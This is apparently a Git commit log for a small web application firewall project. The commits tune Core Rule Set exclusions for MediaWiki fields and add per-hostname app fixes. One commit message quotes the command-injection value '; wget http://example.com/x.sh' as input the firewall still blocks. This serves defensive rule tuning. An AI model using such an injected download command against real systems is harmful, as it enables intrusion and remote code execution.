smallwebwaf

124 Commits 8 Branches 2 Tags

3 Commits

Include renames

Author	SHA1	Message	Date
sneak	427841bdbd	SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220 ) check / check (push) In progress Details Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5	2026-11-10 09:33:07 +00:00
clawbot	922fe0cf71	Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 ) check / check (push) Failing after 16m32s Details On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, always skips 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only when the body sends it once and it holds no ";", "\|", "&", backtick or "{", checked by a phase 2 rule. So "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5	2026-11-10 03:09:24 +01:00
clawbot	9aa5b303cf	Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 ) check / check (push) Failing after 1m48s Details Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5	2026-11-10 00:58:15 +01:00

Author

SHA1

Message

Date

sneak

427841bdbd

SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220 )

check / check (push) In progress

Details

Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5

2026-11-10 09:33:07 +00:00

clawbot

922fe0cf71

Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 )

check / check (push) Failing after 16m32s

Details

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

2026-11-10 03:09:24 +01:00

clawbot

9aa5b303cf

Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 )

check / check (push) Failing after 1m48s

Details

Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.

Model: opus-5-5

2026-11-10 00:58:15 +01:00